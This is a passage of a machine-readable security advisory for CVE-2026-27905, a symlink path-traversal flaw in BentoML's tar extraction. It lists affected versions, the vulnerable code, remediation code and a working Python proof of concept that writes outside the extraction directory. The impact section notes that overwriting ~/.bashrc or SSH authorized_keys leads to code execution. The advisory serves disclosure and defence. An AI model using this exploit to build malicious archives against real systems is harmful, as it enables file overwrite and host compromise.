"pkg:pypi/bentoml@1.2.0a3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0a4", "product": { "name": "vers:unknown/1.2.0a4", "product_id": "CSAFPID-5466780", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0a4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0a5", "product": { "name": "vers:unknown/1.2.0a5", "product_id": "CSAFPID-5466781", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0a5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0a6", "product": { "name": "vers:unknown/1.2.0a6", "product_id": "CSAFPID-5466782", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0a6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0a7", "product": { "name": "vers:unknown/1.2.0a7", "product_id": "CSAFPID-5466783", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0a7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0rc1", "product": { "name": "vers:unknown/1.2.0rc1", "product_id": "CSAFPID-5466784", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.1", "product": { "name": "vers:unknown/1.2.1", "product_id": "CSAFPID-2779713", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.10", "product": { "name": "vers:unknown/1.2.10", "product_id": "CSAFPID-2779660", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.10" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.11", "product": { "name": "vers:unknown/1.2.11", "product_id": "CSAFPID-2779690", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.11" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.12", "product": { "name": "vers:unknown/1.2.12", "product_id": "CSAFPID-2779682", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.12" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.13", "product": { "name": "vers:unknown/1.2.13", "product_id": "CSAFPID-2779668", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.13" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.14", "product": { "name": "vers:unknown/1.2.14", "product_id": "CSAFPID-2779706", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.14" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.15", "product": { "name": "vers:unknown/1.2.15", "product_id": "CSAFPID-2779654", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.15" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.16", "product": { "name": "vers:unknown/1.2.16", "product_id": "CSAFPID-2779727", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.16" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.17", "product": { "name": "vers:unknown/1.2.17", "product_id": "CSAFPID-2779723", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.17" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.18", "product": { "name": "vers:unknown/1.2.18", "product_id": "CSAFPID-2779666", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.18" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.19", "product": { "name": "vers:unknown/1.2.19", "product_id": "CSAFPID-2779702", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.19" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.1a1", "product": { "name": "vers:unknown/1.2.1a1", "product_id": "CSAFPID-5466785", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.1a1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.2", "product": { "name": "vers:unknown/1.2.2", "product_id": "CSAFPID-1080817", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.20", "product": { "name": "vers:unknown/1.2.20", "product_id": "CSAFPID-2779717", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.20" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.3", "product": { "name": "vers:unknown/1.2.3", "product_id": "CSAFPID-2779730", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.4", "product": { "name": "vers:unknown/1.2.4", "product_id": "CSAFPID-2779715", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.5", "product": { "name": "vers:unknown/1.2.5", "product_id": "CSAFPID-2779722", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.6", "product": { "name": "vers:unknown/1.2.6", "product_id": "CSAFPID-2779714", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.7", "product": { "name": "vers:unknown/1.2.7", "product_id": "CSAFPID-2779657", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.8", "product": { "name": "vers:unknown/1.2.8", "product_id": "CSAFPID-2779685", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.9", "product": { "name": "vers:unknown/1.2.9", "product_id": "CSAFPID-2779674", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.2.9" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.0", "product": { "name": "vers:unknown/1.3.0", "product_id": "CSAFPID-2779694", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.0a1", "product": { "name": "vers:unknown/1.3.0a1", "product_id": "CSAFPID-5466787", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.0a1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.0a2", "product": { "name": "vers:unknown/1.3.0a2", "product_id": "CSAFPID-5466788", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.0a2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.0a3", "product": { "name": "vers:unknown/1.3.0a3", "product_id": "CSAFPID-5466789", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.0a3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.1", "product": { "name": "vers:unknown/1.3.1", "product_id": "CSAFPID-2779658", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.10", "product": { "name": "vers:unknown/1.3.10", "product_id": "CSAFPID-2779699", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.10" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.11", "product": { "name": "vers:unknown/1.3.11", "product_id": "CSAFPID-2779656", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.11" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.12", "product": { "name": "vers:unknown/1.3.12", "product_id": "CSAFPID-2779705", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.12" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.13", "product": { "name": "vers:unknown/1.3.13", "product_id": "CSAFPID-2779672", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.13" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.14", "product": { "name": "vers:unknown/1.3.14", "product_id": "CSAFPID-2779692", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.14" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.15", "product": { "name": "vers:unknown/1.3.15", "product_id": "CSAFPID-2779703", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.15" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.16", "product": { "name": "vers:unknown/1.3.16", "product_id": "CSAFPID-2779667", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.16" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.17", "product": { "name": "vers:unknown/1.3.17", "product_id": "CSAFPID-2779720", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.17" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.18", "product": { "name": "vers:unknown/1.3.18", "product_id": "CSAFPID-2779716", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.18" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.19", "product": { "name": "vers:unknown/1.3.19", "product_id": "CSAFPID-2779731", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.19" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.2", "product": { "name": "vers:unknown/1.3.2", "product_id": "CSAFPID-2779689", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.20", "product": { "name": "vers:unknown/1.3.20", "product_id": "CSAFPID-2779691", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.20" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.21", "product": { "name": "vers:unknown/1.3.21", "product_id": "CSAFPID-2779673", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.21" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.22", "product": { "name": "vers:unknown/1.3.22", "product_id": "CSAFPID-2779711", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.22" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.3", "product": { "name": "vers:unknown/1.3.3", "product_id": "CSAFPID-2779677", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.4.post1", "product": { "name": "vers:unknown/1.3.4.post1", "product_id": "CSAFPID-2577217", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.4.post1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.5", "product": { "name": "vers:unknown/1.3.5", "product_id": "CSAFPID-2779693", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.6", "product": { "name": "vers:unknown/1.3.6", "product_id": "CSAFPID-2779726", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.7", "product": { "name": "vers:unknown/1.3.7", "product_id": "CSAFPID-2779735", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.8", "product": { "name": "vers:unknown/1.3.8", "product_id": "CSAFPID-2779718", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.9", "product": { "name": "vers:unknown/1.3.9", "product_id": "CSAFPID-2779669", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.3.9" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.0", "product": { "name": "vers:unknown/1.4.0", "product_id": "CSAFPID-2622824", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.0a1", "product": { "name": "vers:unknown/1.4.0a1", "product_id": "CSAFPID-5466799", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.0a1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.0a2", "product": { "name": "vers:unknown/1.4.0a2", "product_id": "CSAFPID-5466801", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.0a2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.1", "product": { "name": "vers:unknown/1.4.1", "product_id": "CSAFPID-2622823", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.10", "product": { "name": "vers:unknown/1.4.10", "product_id": "CSAFPID-5338651", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.10" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.11", "product": { "name": "vers:unknown/1.4.11", "product_id": "CSAFPID-5338652", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.11" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.12", "product": { "name": "vers:unknown/1.4.12", "product_id": "CSAFPID-5338653", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.12" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.13", "product": { "name": "vers:unknown/1.4.13", "product_id": "CSAFPID-5338654", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.13" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.14", "product": { "name": "vers:unknown/1.4.14", "product_id": "CSAFPID-5338655", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.14" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.15", "product": { "name": "vers:unknown/1.4.15", "product_id": "CSAFPID-5338656", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.15" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.16", "product": { "name": "vers:unknown/1.4.16", "product_id": "CSAFPID-5338657", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.16" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.17", "product": { "name": "vers:unknown/1.4.17", "product_id": "CSAFPID-5338658", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.17" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.18", "product": { "name": "vers:unknown/1.4.18", "product_id": "CSAFPID-5338659", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.18" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.19", "product": { "name": "vers:unknown/1.4.19", "product_id": "CSAFPID-5466806", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.19" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.2", "product": { "name": "vers:unknown/1.4.2", "product_id": "CSAFPID-2622825", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.20", "product": { "name": "vers:unknown/1.4.20", "product_id": "CSAFPID-5466808", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.20" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.21", "product": { "name": "vers:unknown/1.4.21", "product_id": "CSAFPID-5466809", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.21" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.22", "product": { "name": "vers:unknown/1.4.22", "product_id": "CSAFPID-5466810", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.22" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.23", "product": { "name": "vers:unknown/1.4.23", "product_id": "CSAFPID-5466811", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.23" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.24", "product": { "name": "vers:unknown/1.4.24", "product_id": "CSAFPID-5466813", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.24" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.25", "product": { "name": "vers:unknown/1.4.25", "product_id": "CSAFPID-5466814", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.25" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.26", "product": { "name": "vers:unknown/1.4.26", "product_id": "CSAFPID-5466815", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.26" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.27", "product": { "name": "vers:unknown/1.4.27", "product_id": "CSAFPID-5466817", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.27" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.28", "product": { "name": "vers:unknown/1.4.28", "product_id": "CSAFPID-5466818", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.28" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.29", "product": { "name": "vers:unknown/1.4.29", "product_id": "CSAFPID-5466819", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.29" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.3", "product": { "name": "vers:unknown/1.4.3", "product_id": "CSAFPID-2779670", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.30", "product": { "name": "vers:unknown/1.4.30", "product_id": "CSAFPID-5466821", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.30" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.31", "product": { "name": "vers:unknown/1.4.31", "product_id": "CSAFPID-5466822", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.31" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.32", "product": { "name": "vers:unknown/1.4.32", "product_id": "CSAFPID-5466824", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.32" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.33", "product": { "name": "vers:unknown/1.4.33", "product_id": "CSAFPID-5466825", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.33" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.34", "product": { "name": "vers:unknown/1.4.34", "product_id": "CSAFPID-5759233", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.34" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.35", "product": { "name": "vers:unknown/1.4.35", "product_id": "CSAFPID-5759234", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.35" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.4", "product": { "name": "vers:unknown/1.4.4", "product_id": "CSAFPID-2779700", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.5", "product": { "name": "vers:unknown/1.4.5", "product_id": "CSAFPID-2779688", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.6", "product": { "name": "vers:unknown/1.4.6", "product_id": "CSAFPID-2779678", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.7", "product": { "name": "vers:unknown/1.4.7", "product_id": "CSAFPID-2779708", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.8", "product": { "name": "vers:unknown/1.4.8", "product_id": "CSAFPID-5338650", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.9", "product": { "name": "vers:unknown/1.4.9", "product_id": "CSAFPID-5466828", "product_identification_helper": { "purl": "pkg:pypi/bentoml@1.4.9" } } }, { "category": "product_version_range", "name": "vers:unknown/<1.4.36", "product": { "name": "vers:unknown/<1.4.36", "product_id": "CSAFPID-5763881", "product_identification_helper": { "cpe": "cpe:2.3:a:bentoml:bentoml:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<1.4.36", "product": { "name": "vers:unknown/>=0|<1.4.36", "product_id": "CSAFPID-5759235" } } ], "category": "product_name", "name": "bentoml" } ], "category": "vendor", "name": "BentoML" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27905", "cwe": { "id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" }, "notes": [ { "category": "description", "text": "# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n os.makedirs(destination, exist_ok=True)\n for member in tar.getmembers():\n fn = member.name\n path = os.path.abspath(os.path.join(destination, fn))\n if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE\n continue # Only checks member path, NOT symlink target\n if member.issym():\n tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target\n else:\n fp = tar.extractfile(member)\n with open(path, \"wb\") as destfp: # Line 92: open() FOLLOWS symlinks\n shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n buf = io.BytesIO()\n with tarfile.open(fileobj=buf, mode='w:gz') as tar:\n sym = tarfile.TarInfo(name='escape')\n sym.type = tarfile.SYMTYPE\n sym.linkname = target_dir\n tar.addfile(sym)\n info = tarfile.TarInfo(name=f'escape/{target_file}')\n info.size = len(payload)\n tar.addfile(info, io.BytesIO(payload))\n buf.seek(0)\n return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n extract_dir = os.path.join(tmpdir, 'extract')\n target_dir = os.path.join(tmpdir, 'outside')\n os.makedirs(target_dir)\n \n mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')\n tar = tarfile.open(fileobj=mal_tar, mode='r:gz')\n \n # Reproduce filesystem.py:58-96\n os.makedirs(extract_dir, exist_ok=True)\n for member in tar.getmembers():\n path = os.path.abspath(os.path.join(extract_dir, member.name))\n if not Path(path).is_relative_to(extract_dir): continue\n if member.issym():\n tar._extract_member(member, path) # Symlink target NOT checked\n else:\n fp = tar.extractfile(member)\n os.makedirs(os.path.dirname(path), exist_ok=True)\n if fp:\n with open(path, 'wb') as destfp: # Follows symlink!\n shutil.copyfileobj(fp, destfp)\n \n assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))\n print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n if not Path(target).is_relative_to(dest):\n logger.warning('Symlink %s points outside: %s', member.name, member.linkname)\n continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter='data')`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access ('Link Following')\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "title": "github - https://github.com/advisories/GHSA-m6w7-qv66-g3mf" }, { "category": "description", "text": "BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. This vulnerability is fixed in 1.4.36.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27905" }, { "category": "description", "text": "BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. This vulnerability is fixed in 1.4.36.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27905" }, { "category": "description", "text": "# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n os.makedirs(destination, exist_ok=True)\n for member in tar.getmembers():\n fn = member.name\n path = os.path.abspath(os.path.join(destination, fn))\n if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE\n continue # Only checks member path, NOT symlink target\n if member.issym():\n tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target\n else:\n fp = tar.extractfile(member)\n with open(path, \"wb\") as destfp: # Line 92: open() FOLLOWS symlinks\n shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n buf = io.BytesIO()\n with tarfile.open(fileobj=buf, mode='w:gz') as tar:\n sym = tarfile.TarInfo(name='escape')\n sym.type = tarfile.SYMTYPE\n sym.linkname = target_dir\n tar.addfile(sym)\n info = tarfile.TarInfo(name=f'escape/{target_file}')\n info.size = len(payload)\n tar.addfile(info, io.BytesIO(payload))\n buf.seek(0)\n return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n extract_dir = os.path.join(tmpdir, 'extract')\n target_dir = os.path.join(tmpdir, 'outside')\n os.makedirs(target_dir)\n \n mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')\n tar = tarfile.open(fileobj=mal_tar, mode='r:gz')\n \n # Reproduce filesystem.py:58-96\n os.makedirs(extract_dir, exist_ok=True)\n for member in tar.getmembers():\n path = os.path.abspath(os.path.join(extract_dir, member.name))\n if not Path(path).is_relative_to(extract_dir): continue\n if member.issym():\n tar._extract_member(member, path) # Symlink target NOT checked\n else:\n fp = tar.extractfile(member)\n os.makedirs(os.path.dirname(path), exist_ok=True)\n if fp:\n with open(path, 'wb') as destfp: # Follows symlink!\n shutil.copyfileobj(fp, destfp)\n \n assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))\n print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n if not Path(target).is_relative_to(dest):\n logger.warning('Symlink %s points outside: %s', member.name, member.linkname)\n continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter='data')`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access ('Link Following')\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-m6w7-qv66-g3mf.json?alt=media" }, { "category": "other", "text": "6e-05", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "8.6", "title": "CVSSV4 base score" }, { "category": "other", "text": "3.5", "title": "NCSC Score" }, { "category": "other", "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5757220", "CSAFPID-1080817", "CSAFPID-2577217", "CSAFPID-2622823", "CSAFPID-2622824", "CSAFPID-2622825", "CSAFPID-2779653", "CSAFPID-2779654", "CSAFPID-2779655", "CSAFPID-2779656", "CSAFPID-2779657", "CSAFPID-2779658", "CSAFPID-2779659", "CSAFPID-2779660", "CSAFPID-2779661", 